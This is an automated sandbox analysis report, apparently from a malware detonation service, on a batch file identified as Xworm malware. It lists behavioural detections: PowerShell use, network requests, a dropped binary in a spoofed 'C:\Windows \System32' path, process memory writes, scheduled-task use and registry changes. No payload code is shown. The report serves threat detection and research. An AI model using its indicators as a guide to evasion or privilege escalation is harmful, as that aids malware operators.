Analysis Overview
SHA256
b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a
Threat Level: Known bad
The file FN-INTERNAL.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Executes dropped EXE
Loads dropped DLL
Drops file in System32 directory
Drops file in Windows directory
Suspicious use of UnmapMainImage
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Modifies data under HKEY_USERS
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 14:55
Signatures
Analysis: behavioral3
Detonation Overview
Submitted
2024-05-26 14:55
Reported
2024-05-26 15:29
Platform
win10v2004-20240508-en
Max time kernel
1799s
Max time network
1801s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 | C:\Windows\system32\svchost.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk | C:\Windows\system32\svchost.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF3C5ECE" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612105590086676" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133596405153316606" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI\App\V1\LU\PCT = "133612105214461718" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612092007430899" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612093042743122" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612093046805624" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612093061024287" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612105596024144" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ | C:\Windows\Explorer.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI\App\V1\LU\PTT = "133612105818212571" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI\App | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133596405155503962" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1 | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612105214305783" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612105228368137" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612092018837022" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612092359149304" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI\App\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612092674774198" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612092711336712" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612093048524420" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ | C:\Windows\Explorer.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612105368055800" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612092333992947" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612092703367924" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612092721336848" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Wallet_8wekyb3d8bbwe\HAM\AUI\App\V1 | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612105226805533" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
